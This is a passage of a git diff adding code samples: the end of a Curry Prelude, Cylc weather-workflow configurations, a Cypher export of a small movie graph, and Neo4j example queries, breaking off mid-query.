+--- Infinite list of repeated applications of a function f to an element x.
+--- Thus, `iterate f x = [x, f x, f (f x), ...]`.
+iterate :: (a -> a) -> a -> [a]
+iterate f x = x : iterate f (f x)
+
+--- Infinite list where all elements have the same value.
+--- Thus, `repeat x = [x, x, x, ...]`.
+repeat :: a -> [a]
+repeat x = x : repeat x
+
+--- List of length n where all elements have the same value.
+replicate :: Int -> a -> [a]
+replicate n x = take n (repeat x)
+
+--- Returns prefix of length n.
+take :: Int -> [a] -> [a]
+take n l = if n <= 0 then [] else takep n l
+ where takep _ []     = []
+       takep m (x:xs) = x : take (m - 1) xs
+
+--- Returns suffix without first n elements.
+drop :: Int -> [a] -> [a]
+drop n xs = if n <= 0 then xs
+                      else case xs of []     -> []
+                                      (_:ys) -> drop (n - 1) ys
+
+--- `splitAt n xs` is equivalent to `(take n xs, drop n xs)`
+splitAt :: Int -> [a] -> ([a], [a])
+splitAt n l = if n <= 0 then ([], l) else splitAtp n l
+  where splitAtp _ []     = ([], [])
+        splitAtp m (x:xs) = let (ys, zs) = splitAt (m - 1) xs in (x : ys, zs)
+
+--- Returns longest prefix with elements satisfying a predicate.
+takeWhile :: (a -> Bool) -> [a] -> [a]
+takeWhile _ []     = []
+takeWhile p (x:xs) = if p x then x : takeWhile p xs else []
+
+--- Returns suffix without takeWhile prefix.
+dropWhile :: (a -> Bool) -> [a] -> [a]
+dropWhile _ []     = []
+dropWhile p (x:xs) = if p x then dropWhile p xs else x : xs
+
+--- `span p xs` is equivalent to `(takeWhile p xs, dropWhile p xs)`
+span :: (a -> Bool) -> [a] -> ([a], [a])
+span _ []     = ([], [])
+span p (x:xs) | p x       = let (ys, zs) = span p xs in (x : ys, zs)
+              | otherwise = ([], x : xs)
+
+--- `break p xs` is equivalent to
+--- `(takeWhile (not . p) xs, dropWhile (not . p) xs)`.
+--- Thus, it breaks a list at the first occurrence of an element satisfying p.
+break :: (a -> Bool) -> [a] -> ([a], [a])
+break p = span (not . p)
+
+--- Reverses the order of all elements in a list.
+reverse :: [a] -> [a]
+reverse = foldl (flip (:)) []
+
+--- Computes the conjunction of a Boolean list.
+and :: [Bool] -> Bool
+and = foldr (&&) True
+
+--- Computes the disjunction of a Boolean list.
+or :: [Bool] -> Bool
+or = foldr (||) False
+
+--- Is there an element in a list satisfying a given predicate?
+any :: (a -> Bool) -> [a] -> Bool
+any p = or . map p
+
+--- Is a given predicate satisfied by all elements in a list?
+all :: (a -> Bool) -> [a] -> Bool
+all p = and . map p
+
+--- Element of a list?
+elem :: Eq a => a -> [a] -> Bool
+elem x = any (x ==)
+
+--- Not element of a list?
+notElem :: Eq a => a -> [a] -> Bool
+notElem x = all (x /=)
+
+--- Looks up a key in an association list.
+lookup :: Eq a => a -> [(a, b)] -> Maybe b
+lookup _ []          = Nothing
+lookup k ((x,y):xys) | k == x    = Just y
+                     | otherwise = lookup k xys
+
+data Maybe a = Nothing | Just a
+ deriving (Eq, Ord, Show, Read)
+
+instance Monoid a => Monoid (Maybe a) where
+  mempty = Nothing
+  Nothing `mappend` m       = m
+  Just m1 `mappend` Nothing = Just m1
+  Just m1 `mappend` Just m2 = Just (m1 `mappend` m2)
+
+instance Functor Maybe where
+  fmap _ Nothing  = Nothing
+  fmap f (Just x) = Just (f x)
+
+instance Applicative Maybe where
+  pure = Just
+  Just f  <*> m = fmap f m
+  Nothing <*> _ = Nothing
+  Just _  *> m = m
+  Nothing *> _ = Nothing
+  liftA2 f (Just x) (Just y) = Just (f x y)
+  liftA2 _ (Just _) Nothing  = Nothing
+  liftA2 _ Nothing  _        = Nothing
+
+instance Alternative Maybe where
+    empty = Nothing
+    Nothing <|> r = r
+    Just l  <|> _ = Just l
+
+instance Monad Maybe where
+  Nothing >>= _ = Nothing
+  Just x  >>= k = k x
+  (>>) = (*>)
+
+instance MonadFail Maybe where
+  fail _ = Nothing
+
+maybe :: b -> (a -> b) -> Maybe a -> b
+maybe n _ Nothing  = n
+maybe _ f (Just x) = f x
+
+data Either a b = Left a
+                | Right b
+  deriving (Eq, Ord, Show, Read)
+
+instance Functor (Either a) where
+  fmap _ (Left e)  = Left e
+  fmap f (Right x) = Right (f x)
+
+instance Applicative (Either a) where
+  pure = Right
+  (<*>) = ap
+
+instance Monad (Either a) where
+  return          = Right
+  (Left e)  >>= _ = Left e
+  (Right x) >>= f = f x
+
+either :: (a -> c) -> (b -> c) -> Either a b -> c
+either left _     (Left  a) = left a
+either _    right (Right b) = right b
+
+external data IO _
+
+instance Monoid a => Monoid (IO a) where
+  mempty = pure mempty
+  mappend = liftA2 mappend
+
+instance  Functor IO where
+  fmap f x = x >>= (pure . f)
+
+instance Applicative IO where
+  pure = returnIO
+#ifdef __PAKCS__
+  (*>) = seqIO
+#else
+  m *> k = m >>= \_ -> k
+#endif
+  (<*>) = ap
+  liftA2 = liftM2
+
+instance Alternative IO where
+    empty = fail "mzero"
+
+    m <|> n = m `catch` const n
+
+instance Monad IO where
+  (>>=) = bindIO
+  (>>) = (*>)
+
+instance MonadFail IO where
+  fail s = ioError (userError s)
+
+bindIO :: IO a -> (a -> IO b) -> IO b
+bindIO external
+
+seqIO :: IO a -> IO b -> IO b
+seqIO external
+
+returnIO :: a -> IO a
+returnIO external
+
+--- An action that reads a character from standard output and returns it.
+getChar :: IO Char
+getChar external
+
+--- An action that reads a line from standard input and returns it.
+getLine :: IO String
+getLine = do c <- getChar
+             case c of
+               '\n' -> return []
+               _ -> do cs <- getLine
+                       return (c : cs)
+
+--- An action that puts its character argument on standard output.
+putChar :: Char -> IO ()
+putChar c = prim_putChar $# c
+
+prim_putChar :: Char -> IO ()
+prim_putChar external
+
+--- Action to print a string on standard output.
+putStr :: String -> IO ()
+putStr []     = return ()
+putStr (c:cs) = putChar c >> putStr cs
+
+--- Action to print a string with a newline on standard output.
+putStrLn :: String -> IO ()
+putStrLn cs = putStr cs >> putChar '\n'
+
+--- Converts a term into a string and prints it.
+print :: Show a => a -> IO ()
+print = putStrLn . show
+
+type FilePath = String
+
+--- An action that (lazily) reads a file and returns its contents.
+readFile :: FilePath -> IO String
+readFile f = prim_readFile $## f
+
+prim_readFile :: FilePath -> IO String
+prim_readFile external
+
+#ifdef __PAKCS__
+-- Needed for internal implementation of readFile.
+prim_readFileContents :: FilePath -> String
+prim_readFileContents external
+#endif
+
+--- An action that writes a file.
+writeFile :: FilePath -> String -> IO ()
+writeFile f s = (prim_writeFile $## f) s
+
+prim_writeFile :: FilePath -> String -> IO ()
+prim_writeFile external
+
+--- An action that appends a string to a file.
+--- It behaves like `writeFile` if the file does not exist.
+appendFile :: FilePath -> String -> IO ()
+appendFile f s = (prim_appendFile $## f) s
+
+prim_appendFile :: FilePath -> String -> IO ()
+prim_appendFile external
+
+--- The (abstract) type of error values.
+--- Currently, it distinguishes between general I/O errors,
+--- user-generated errors (see 'userError'), failures and non-determinism
+--- errors during I/O computations. These errors can be caught by 'catch'.
+--- Each error contains a string shortly explaining the error.
+--- This type might be extended in the future to distinguish
+--- further error situations.
+data IOError
+  = IOError String     -- normal IO error
+  | UserError String   -- user-specified error
+  | FailError String   -- failing computation
+  | NondetError String -- non-deterministic computation
+ deriving Eq
+
+instance Show IOError where
+  show (IOError     s) = "i/o error: " ++ s
+  show (UserError   s) = "user error: " ++ s
+  show (FailError   s) = "fail error: " ++ s
+  show (NondetError s) = "nondet error: " ++ s
+
+--- A user error value is created by providing a description of the
+--- error situation as a string.
+userError :: String -> IOError
+userError = UserError
+
+--- Raises an I/O exception with a given error value.
+ioError :: IOError -> IO _
+#ifdef __PAKCS__
+ioError err = error (show err)
+#else
+ioError err = prim_ioError $## err
+
+prim_ioError :: IOError -> IO _
+prim_ioError external
+#endif
+
+--- Catches a possible error or failure during the execution of an
+--- I/O action. `catch act errfun` executes the I/O action `act`.
+--- If an exception or failure occurs during this I/O action, the
+--- function `errfun` is applied to the error value.
+catch :: IO a -> (IOError -> IO a) -> IO a
+catch external
+
+
+type Success = Bool
+
+--- The always satisfiable constraint.
+success :: Success
+success = True
+
+--- Enforce a Boolean condition to be true.
+--- The computation fails if the argument evaluates to `False`.
+solve :: Bool -> Bool
+solve True = True
+
+--- Solves a constraint as an I/O action.
+--- Note: The constraint should be always solvable in a deterministic way.
+doSolve :: Bool -> IO ()
+doSolve b | b = return ()
+
+--- The equational constraint.
+--- `(e1 =:= e2)` is satisfiable if both sides `e1` and `e2` can be
+--- reduced to a unifiable data term (i.e., a term without defined
+--- function symbols).
+(=:=) :: Data a => a -> a -> Bool
+x =:= y = constrEq x y
+
+constrEq :: a -> a -> Bool
+constrEq external
+
+--- Non-strict equational constraint. Used to implement functional patterns.
+(=:<=) :: Data a => a -> a -> Bool
+x =:<= y = nonstrictEq x y
+
+nonstrictEq :: a -> a -> Bool
+nonstrictEq external
+
+#ifdef __PAKCS__
+--- Non-strict equational constraint for linear functional patterns.
+--- Thus, it must be ensured that the first argument is always (after evalutation
+--- by narrowing) a linear pattern. Experimental.
+(=:<<=) :: Data a => a -> a -> Bool
+x =:<<= y = unifEqLinear x y
+
+unifEqLinear :: a -> a -> Bool
+unifEqLinear external
+
+--- internal function to implement =:<=
+ifVar :: _ -> a -> a -> a
+ifVar external
+#endif
+
+--- Concurrent conjunction.
+--- An expression like `(c1 & c2)` is evaluated by evaluating
+--- the `c1` and `c2` in a concurrent manner.
+(&) :: Bool -> Bool -> Bool
+(&) external
+
+--- Conditional expression.
+--- An expression like `(c &> e)` is evaluated by evaluating the first
+--- argument to `True` and then evaluating `e`.
+--- The expression has no value if the condition does not evaluate to `True`.
+(&>) :: Bool -> a -> a
+True &> x = x
+
+--- Non-deterministic choice _par excellence_.
+--- The value of `x ? y` is either `x` or `y`.
+(?) :: a -> a -> a
+x ? _ = x
+_ ? y = y
+
+--- Returns non-deterministically any element of a list.
+anyOf :: [a] -> a
+anyOf = foldr1 (?)
+
+--- Evaluates to a fresh free variable.
+unknown :: Data a => a
+unknown = let x free in x
+
+--- A non-reducible polymorphic function.
+--- It is useful to express a failure in a search branch of the execution.
+failed :: _
+failed external
+
+--- Aborts the execution with an error message.
+error :: String -> _
+error x = prim_error $## x
+
+prim_error :: String -> _
+prim_error external
+
+-- Representation of higher-order applications in FlatCurry.
+apply :: (a -> b) -> a -> b
+apply external
+
+-- Representation of conditional rules in FlatCurry.
+cond :: Bool -> a -> a
+cond external
+
+#ifdef __PAKCS__
+-- `letrec ones (1 : ones)` binds `ones` to `1 : ones`.
+letrec :: a -> a -> Bool
+letrec external
+
+-- Internal operation to implement failure reporting.
+failure :: _ -> _ -> _
+failure external
+#endif
diff --git a/samples/Cylc/cset-include.cylc b/samples/Cylc/cset-include.cylc
new file mode 100644
index 0000000000..6b8c5d6198
--- /dev/null
+++ b/samples/Cylc/cset-include.cylc
@@ -0,0 +1,82 @@
+# Modified code samples from https://github.com/MetOffice/CSET/blob/main/cset-workflow/includes
+# (Apache 2.0 license)
+
+{% if DOMAIN_MEAN_SURFACE_TIME_SERIES %}
+{% for model_field in SURFACE_MODEL_FIELDS %}
+[runtime]
+    [[pre_process_domain_mean_surface_time_series_{{model_field}}]]
+    inherit = PARALLEL
+        [[[environment]]]
+        CSET_RECIPE_NAME = "generic_surface_domain_mean_time_series.yaml"
+        CSET_ADDOPTS = "--VARNAME={{model_field}}"
+
+    [[collate_domain_mean_surface_time_series_{{model_field}}]]
+    inherit = COLLATE
+        [[[environment]]]
+        CSET_RECIPE_NAME = "generic_surface_domain_mean_time_series.yaml"
+        CSET_ADDOPTS = "--VARNAME={{model_field}}"
+{% endfor %}
+{% endif %}
+
+{% if DETERMINISTIC_PLOT_CAPE_RATIO %}
+[runtime]
+    [[parallel_plot_cape_ratio]]
+    inherit = PARALLEL
+        [[[environment]]]
+        CSET_RECIPE_NAME = "CAPE_ratio_plot.yaml"
+
+    [[collate_plot_cape_ratio]]
+    inherit = COLLATE
+        [[[environment]]]
+        CSET_RECIPE_NAME = "CAPE_ratio_plot.yaml"
+{% endif %}
+
+{% if DOMAIN_MEAN_TIME_SERIES_STASH %}
+{% for stash in STASH_CODES %}
+[runtime]
+    [[pre_process_stash_surface_domain_mean_time_series_{{stash}}]]
+    inherit = PARALLEL
+        [[[environment]]]
+        CSET_RECIPE_NAME = "stash_surface_domain_mean_time_series.yaml"
+        CSET_ADDOPTS = "--STASH={{stash}}"
+
+    [[collate_stash_surface_domain_mean_time_series_{{stash}}]]
+    inherit = COLLATE
+        [[[environment]]]
+        CSET_RECIPE_NAME = "stash_surface_domain_mean_time_series.yaml"
+        CSET_ADDOPTS = "--STASH={{stash}}"
+{% endfor %}
+{% endif %}
+
+{% if LFRIC_DOMAIN_MEAN_SURFACE_TIME_SERIES %}
+{% for model_field in SURFACE_MODEL_FIELDS %}
+[runtime]
+    [[pre_process_lfric_domain_mean_surface_time_series_{{model_field}}]]
+    inherit = PARALLEL
+        [[[environment]]]
+        CSET_RECIPE_NAME = "lfric_generic_surface_domain_mean_time_series.yaml"
+        CSET_ADDOPTS = """
+        --VARNAME={{model_field}}
+        {% if SELECT_SUBAREA %}
+        --SUBAREA_LAT_BOUND_BOTTOM={{SUBAREA_LAT_BOUND_BOTTOM}}
+        --SUBAREA_LAT_BOUND_TOP={{SUBAREA_LAT_BOUND_TOP}}
+        --SUBAREA_LON_BOUND_RIGHT={{SUBAREA_LON_BOUND_RIGHT}}
+        --SUBAREA_LON_BOUND_LEFT={{SUBAREA_LON_BOUND_LEFT}}
+        {% endif %}
+        """
+
+    [[collate_lfric_domain_mean_surface_time_series_{{model_field}}]]
+    inherit = COLLATE
+        [[[environment]]]
+        CSET_RECIPE_NAME = "lfric_generic_surface_domain_mean_time_series.yaml"
+        CSET_ADDOPTS = """
+        --VARNAME={{model_field}}
+        {% if SELECT_SUBAREA %}
+        --SUBAREA_LAT_BOUND_BOTTOM={{SUBAREA_LAT_BOUND_BOTTOM}}
+        --SUBAREA_LAT_BOUND_TOP={{SUBAREA_LAT_BOUND_TOP}}
+        --SUBAREA_LON_BOUND_RIGHT={{SUBAREA_LON_BOUND_RIGHT}}
+        --SUBAREA_LON_BOUND_LEFT={{SUBAREA_LON_BOUND_LEFT}}
+        {% endif %}
+        """
+{% endfor %}
+{% endif %}
diff --git a/samples/Cylc/cset.cylc b/samples/Cylc/cset.cylc
new file mode 100644
index 0000000000..bd10b9d02e
--- /dev/null
+++ b/samples/Cylc/cset.cylc
@@ -0,0 +1,159 @@
+# Modified code sample from https://github.com/MetOffice/CSET/blob/main/cset-workflow/flow.cylc
+# (Apache 2.0 license)
+
+[meta]
+title = CSET
+description = Workflow for running CSET.
+URL = https://metoffice.github.io/CSET
+
+[scheduler]
+    UTC mode = True
+
+[scheduling]
+    runahead limit = P{{CSET_RUNAHEAD_LIMIT}}
+    initial cycle point = {{CSET_INITIAL_CYCLE_POINT}}
+    final cycle point = {{CSET_FINAL_CYCLE_POINT}}
+
+    [[graph]]
+    # Only runs on the first cycle.
+    R1/^ = """
+    build_conda => install_website_skeleton
+    build_conda => install_local_cset
+    install_website_skeleton & install_local_cset => FETCH_DATA
+    """
+
+    # Only runs on the final cycle.
+    R1/$ = """
+    process_finish => COLLATE:succeed-all =>
+    finish_website => send_email => housekeeping_full
+    """
+
+    # Runs every cycle to process the data in parallel.
+    {{CSET_CYCLE_PERIOD}} = """
+    install_website_skeleton[^] & install_local_cset[^] =>
+    FETCH_DATA:succeed-all => PARALLEL:succeed-all =>
+    process_finish => housekeeping_raw
+
+    # Intercycle dependence with this task ensures the collate step waits for
+    # the required data.
+    process_finish[-{{CSET_CYCLE_PERIOD}}] => process_finish
+    """
+
+    {% if CSET_INCREMENTAL_OUTPUT %}
+    # Runs every so often to update output plots during runtime.
+    {{CSET_INCREMENTAL_OUTPUT_PERIOD}} = """
+    COLLATE[-{{CSET_INCREMENTAL_OUTPUT_PERIOD}}]:finish-all &
+    process_finish => COLLATE
+    """
+    {% endif %}
+
+[runtime]
+    [[root]]
+    script = rose task-run -v
+    execution time limit = PT15M
+        [[[environment]]]
+        CSET_ENV_USE_MODULES = {{CSET_ENV_USE_MODULES}}
+        {% if CSET_ENV_USE_MODULES %}
+        MODULES_LIST = {{MODULES_LIST}}
+        MODULES_PURGE = {{MODULES_PURGE}}
+        {% endif %}
+
+        CSET_ENV_USE_CONDA = {{CSET_ENV_USE_CONDA}}
+        {% if CSET_ENV_USE_CONDA %}
+        CONDA_PATH = {{CONDA_PATH}}
+        CONDA_VENV_LOCATION = {{CONDA_VENV_LOCATION}}
+        {% endif %}
+
+        CSET_ENV_SEPARATE_MET = {{CSET_ENV_SEPARATE_MET}}
+        {% if CSET_ENV_SEPARATE_MET %}
+        CONDA_METPLUS_VENV_LOCATION = {{CONDA_METPLUS_VENV_LOCATION}}
+        MET_INSTALL_DIR = {{MET_INSTALL_DIR}}
+        MET_BUILD_BASE = {{MET_BUILD_BASE}}
+        METPLUS_BASE = {{METPLUS_BASE}}
+        MET_LIBRARIES = {{MET_LIBRARIES}}
+        {% endif %}
+
+        LOGLEVEL = {{LOGLEVEL}}
+        WEB_DIR = {{WEB_DIR}}
+        COLORBAR_FILE = {{COLORBAR_FILE}}
+
+    [[PARALLEL]]
+    script = rose task-run -v --app-key=run_cset_recipe
+    [[[environment]]]
+        CSET_BAKE_MODE = parallel
+
+    [[COLLATE]]
+    script = rose task-run -v --app-key=run_cset_recipe
+    [[[environment]]]
+        CSET_BAKE_MODE = collate
+
+    [[FETCH_DATA]]
+
+    [[process_finish]]
+    # Dummy task needed for workflow scheduling.
+    script = true
+    platform = localhost
+
+    [[build_conda]]
+    # Create the conda environment if it does not yet exist.
+    execution time limit = PT30M
+        [[[environment]]]
+        CONDA_VENV_CREATE = {{CONDA_VENV_CREATE}}
+
+    [[install_local_cset]]
+    # Install CSET from source.
+    execution time limit = PT5M
+        [[[environment]]]
+        CSET_ENV_USE_LOCAL_CSET = {{CSET_ENV_USE_LOCAL_CSET}}
+        {% if CSET_ENV_USE_LOCAL_CSET %}
+        CSET_LOCAL_CSET_PATH = {{CSET_LOCAL_CSET_PATH}}
+        {% endif %}
+
+    [[install_website_skeleton]]
+    # Copies the static files that make up the web interface.
+        [[[environment]]]
+        CLEAN_WEB_DIR = {{CLEAN_WEB_DIR}}
+
+    [[fetch_fcst]]
+    # Fetch data from disk or a file based archival system.
+    inherit = FETCH_DATA
+        [[[environment]]]
+        ROSE_APP_OPT_CONF_KEYS = {{FETCH_FCST_OPT_CONF}}
+        CSET_INPUT_FILE_PATH = {{CSET_INPUT_FILE_PATH}}
+        {% if CSET_INCREMENTAL_DATA_FETCH %}
+        CSET_FILE_NAME_METADATA_PATTERN = {{CSET_FILE_NAME_METADATA_PATTERN}}
+        CSET_CYCLE_PERIOD = {{CSET_CYCLE_PERIOD}}
+        CSET_TIMES_PER_FILE = {{CSET_TIMES_PER_FILE}}
+        CSET_FILE_TIME_OFFSET = {{CSET_FILE_TIME_OFFSET}}
+        {% endif %}
+
+    [[housekeeping_raw]]
+    # Housekeep unprocessed data files.
+    script = rose task-run -v --app-key=housekeeping
+        [[[environment]]]
+        HOUSEKEEPING_MODE = {{[HOUSEKEEPING_MODE, 1]|min}}
+
+    [[housekeeping_full]]
+    # Housekeep processed intermediate files too.
+    script = rose task-run -v --app-key=housekeeping
+        [[[environment]]]
+        HOUSEKEEPING_MODE = {{[HOUSEKEEPING_MODE, 2]|min}}
+
+    [[finish_website]]
+    # Updates the workflow info in the web interface.
+    platform = localhost
+
+    [[send_email]]
+    # Send email to notify that the workflow is complete.
+    platform = localhost
+        [[[environment]]]
+        WEB_ADDR = {{WEB_ADDR}}
+
+
+# Include files bring their own graph and runtime sections.
+{% for include_file in glob("includes/*.cylc") %}
+{% include include_file %}
+{% endfor %}
+
+{# Site-specific details that add to (or override) the core suite definition #}
+{% include 'site/' ~ SITE ~ '.cylc' %}
diff --git a/samples/Cylc/model.cylc b/samples/Cylc/model.cylc
new file mode 100644
index 0000000000..9ffdfce994
--- /dev/null
+++ b/samples/Cylc/model.cylc
@@ -0,0 +1,136 @@
+{% set BUILD_DIR = "$CYLC_WORKFLOW_RUN_DIR/share/build"
+{% set initial_cycle_point = initial_cycle_point | default('2000') %}
+{% set final_cycle_point = final_cycle_point | default('') %}
+
+[meta]
+    description = """
+        A datetime cycling workflow that builds and runs a model in a cyclic
+        manner.
+    """
+
+[task parameters]
+    diagnostic = land, air, water
+
+[scheduling]
+    initial cycle point = {{ initial_cycle_point }}
+    final cycle point = {{ final_cycle_point }}
+    runahead limit = P3D
+
+    [[queues]]
+        [[[housekeep]]]
+            limit = 1
+            members = housekeep
+
+    [[special tasks]]
+        clock-triggers = \
+            fetch(-PT10M), \
+            bc(PT0H)
+
+    [[graph]]
+        # startup
+        R1 = """
+            configure => build => install => run_model
+            recon => bc?
+
+            # fallback
+            bc:fail? => bc2
+        """
+
+        # daily cycling
+        P1D = """
+            # wait for spin up
+            bc[^]? | bc2[^] => fetch
+
+            # run model and processing
+            fetch => run_model => process<diagnostic> => housekeep
+
+            # run_model depends on the previous two runs
+            run_model[-P1D] => run_model
+            run_model[-P2D] => run_model
+        """
+
+        # shutdown
+        R1/$ = """
+            run_model => report => archive => housekeep
+        """
+
+[runtime]
+    [[configure]]
+        script = """
+            mkdir -p "{{ BUILD_DIR }}"
+            src/configure "{{ BUILD_DIR }}"
+        """
+
+    [[build]]
+        platform = hpc-bg  # build on login node (same arch)
+        script = rose task-run --app-key=fcm_make
+
+    [[install]]
+        script = rsync "$SRC" "$DEST"
+        [[[environment]]]
+            SRC = {{ BUILD_DIR }}
+            DEST = $CYLC_WORKFLOW_RUN_DIR/lib/build
+
+    [[BC]]
+        script = rose task-run --app-key=create_bc
+        [[environment]]
+            OROG = N34
+
+    [[bc]]
+        inherit = BC
+        execution time limit = PT10M
+        completion = succeeded or failed
+
+    [[bc2]]
+        # fallback if bc fails -> shortstep and force override
+        inherit = BC
+        execution time limit = PT15M
+        [[[environment]]]
+            SS = .true.
+            FORCE = .true.
+
+    [[HPC]]
+        platform = hpc
+        [[[directives]]]
+            --nodes=32
+            --mem-per-node=128Gb
+
+    [[run_model]]
+        inherit = HPC
+        pre-script = eval $(rose task-env)
+        script = rose task-run --debug
+        err-script = model-debug  # only run if the task fails
+        submission retry delays = 1*PT1M, 5*PT5M
+        execution time limit = PT1H15M
+        [[[environment]]]
+            # strip time off of the cycle point for model use
+            MODEL_TIME = $(isodatetime "${CYLC_TASK_CYCLE_POINT}" --format=CCYYMMDD)
+
+    [[fetch]]
+        pre-script = eval $(rose task-env)
+        script = rose task-run
+        execution retry delays = 1*PT1M, 2*PT5M, 5*PT10M
+
+    [[<diagnostic>]]
+        # family representing a model diagnostic
+        [[[environment]]]
+            DIAG = fcum_%(diagnostic)s
+
+    [[process<diagnostic>]]
+        inherit = <diagnostic>
+        script = rose task-run
+
+    [[process<diagnostic=air>]]
+        # override the STASH code for the aircraft diagnostic
+        [[[environment]]]
+            STASH = a90d23a10e8500
+
+    [[report]]
+        script = make-report && mv report.html "${CYLC_WORKFLOW_SHARE_DIR}"
+
+    [[archive]]
+        script = rose task-run --app-key=rose_arch
+
+    [[housekeep]]
+        pre-script = eval $(rose task-env)
+        script = rose task-run --app-key=rose_prune
diff --git a/samples/Cypher/db_export_res.cypher b/samples/Cypher/db_export_res.cypher
new file mode 100644
index 0000000000..9c5d72da51
--- /dev/null
+++ b/samples/Cypher/db_export_res.cypher
@@ -0,0 +1,36 @@
+:begin
+CREATE CONSTRAINT ON (node:`UNIQUE IMPORT LABEL`) ASSERT (node.`UNIQUE IMPORT ID`) IS UNIQUE;
+:commit
+
+:begin
+UNWIND [{_id:0, properties:{tagline:"Welcome to the Real World", title:"The Matrix", released:1999}}] AS row
+CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:Movie;
+
+UNWIND [{_id:1, properties:{born:1964, name:"Keanu Reeves"}}, {_id:2, properties:{born:1967, name:"Carrie-Anne Moss"}}, {_id:3, properties:{born:1961, name:"Laurence Fishburne"}}, {_id:4, properties:{born:1960, name:"Hugo Weaving"}}, {_id:5, properties:{born:1967, name:"Lilly Wachowski"}}, {_id:6, properties:{born:1965, name:"Lana Wachowski"}}, {_id:7, properties:{born:1952, name:"Joel Silver"}}] AS row
+CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:Person;
+:commit
+
+:begin
+UNWIND [{start: {_id:1}, end: {_id:0}, properties:{roles:["Neo"]}}, {start: {_id:2}, end: {_id:0}, properties:{roles:["Trinity"]}}, {start: {_id:3}, end: {_id:0}, properties:{roles:["Morpheus"]}}, {start: {_id:4}, end: {_id:0}, properties:{roles:["Agent Smith"]}}] AS row
+MATCH (start:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.start._id})
+MATCH (end:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.end._id})
+CREATE (start)-[r:ACTED_IN]->(end) SET r += row.properties;
+
+UNWIND [{start: {_id:7}, end: {_id:0}, properties:{}}] AS row
+MATCH (start:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.start._id})
+MATCH (end:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.end._id})
+CREATE (start)-[r:PRODUCED]->(end) SET r += row.properties;
+
+UNWIND [{start: {_id:5}, end: {_id:0}, properties:{}}, {start: {_id:6}, end: {_id:0}, properties:{}}] AS row
+MATCH (start:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.start._id})
+MATCH (end:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.end._id})
+CREATE (start)-[r:DIRECTED]->(end) SET r += row.properties;
+:commit
+
+:begin
+MATCH (n:`UNIQUE IMPORT LABEL`)  WITH n LIMIT 20000 REMOVE n:`UNIQUE IMPORT LABEL` REMOVE n.`UNIQUE IMPORT ID`;
+:commit
+
+:begin
+DROP CONSTRAINT ON (node:`UNIQUE IMPORT LABEL`) ASSERT (node.`UNIQUE IMPORT ID`) IS UNIQUE;
+:commit
\ No newline at end of file
diff --git a/samples/Cypher/graphgems.cyp b/samples/Cypher/graphgems.cyp
new file mode 100644
index 0000000000..1a51aad654
--- /dev/null
+++ b/samples/Cypher/graphgems.cyp
@@ -0,0 +1,162 @@
+// From: https://github.com/neo4j/cypher-shell/blob/4.3/cypher-shell/src/test/resources/org/neo4j/shell/parser/graphgems.cypher
+
+//GRAPHGEMS
+//10 (?) cypher queries that will blow your mind
+
+//1. The meta-graph
+MATCH (a)-[r]->(b)
+WITH labels(a) AS a_labels,type(r) AS rel_type,labels(b) AS b_labels
+UNWIND a_labels as l
+UNWIND b_labels as l2
+MERGE (a:Meta_Node {name:l})
+MERGE (b:Meta_Node {name:l2})
+MERGE (a)-[:META_RELATIONSHIP {name:rel_type}]->(b)
+RETURN distinct l as first_node, rel_type as connected_by, l2 as second_node
+
+//2. Betweenness centrality ftw
+MATCH p=allShortestPaths((source:Person)-[:KNOWS*]-(target:Person))
+WHERE id(source) < id(target) and length(p) > 1
+UNWIND nodes(p)[1..-1] as n
+RETURN n.firstname, n.lastname, count(*) as betweenness
+ORDER BY betweenness DESC;
+
+//3. Pagerank ftw
+//3.a Graph Theory: calculate the PageRank
+UNWIND range(1,2) AS round
+MATCH (n:Person)
+WHERE rand() < 0.1
+MATCH (n:Person)-[:KNOWS*..5]->(m:Person)
+SET m.rank = coalesce(m.rank,0) + 1
+
+//3.b Graph Theory: Show the PageRank
+match (n:Person)
+where n.rank is not null
+return n.firstname, n.lastname, n.rank
+order by n.rank desc
+limit 10;
+
+//4. Weighted shortest path
+START  startNode=node:node_auto_index(name="Start"),
+       endNode=node:node_auto_index(name="Finish")
+MATCH  p=(startNode)-[:NAVIGATE_TO*]->(endNode)
+RETURN p AS shortestPath,
+       reduce(distance=0, r in relationships(p) | distance+r.distance) AS totalDistance
+       ORDER BY totalDistance ASC
+       LIMIT 1;
+
+
+//5. Creating an in-graph index based on ordering node properties
+match (t:Time)--(d:Day {date: 20150506})
+with t
+order by t.time ASC
+with collect(t) as times
+  foreach (i in range(0,length(times)-2) |
+    foreach (t1 in [times[i]] |
+      foreach (t2 in [times[i+1]] |
+        merge (t1)-[:FOLLOWED_BY]->(t2))));
+
+//6. Graph Karaoke
+//create the karaoke graph
+load csv with headers from "https://docs.google.com/a/neotechnology.com/spreadsheets/d/1Q8W7hDOnkXiLanf2K3P85wAhqQG_qm7bTwI36MbB5fE/export?format=csv&id=1Q8W7hDOnkXiLanf2K3P85wAhqQG_qm7bTwI36MbB5fE&gid=0" as csv
+with csv.Sequence as seq, csv.Songsentence as row
+unwind row as text
+with seq, reduce(t=tolower(text), delim in [",",".","!","?",'"',":",";","'","-"] | replace(t,delim,"")) as normalized
+with seq, [w in split(normalized," ") | trim(w)] as words
+unwind range(0,size(words)-2) as idx
+MERGE (w1:Word {name:words[idx], seq:toInteger(seq)})
+MERGE (w2:Word {name:words[idx+1], seq:toInteger(seq)})
+MERGE (w1)-[r:NEXT {seq:toInteger(seq)}]->(w2)
+
+match (endword:Word), (startword:Word)
+where not ()-[:NEXT]->(startword)
+and not (endword)-[:NEXT]->()
+and startword.seq=endword.seq+1
+merge (endword)-[:NEXTSENTENCE]->(startword)
+
+
+//7. The Timetree
+WITH range(2011, 2014) AS years, range(1,12) as months
+FOREACH(year IN years |
+  MERGE (y:Year {year: year})
+  FOREACH(month IN months |
+    CREATE (m:Month {month: month})
+    MERGE (y)-[:HAS_MONTH]->(m)
+    FOREACH(day IN (CASE
+                      WHEN month IN [1,3,5,7,8,10,12] THEN range(1,31)
+                      WHEN month = 2 THEN
+                        CASE
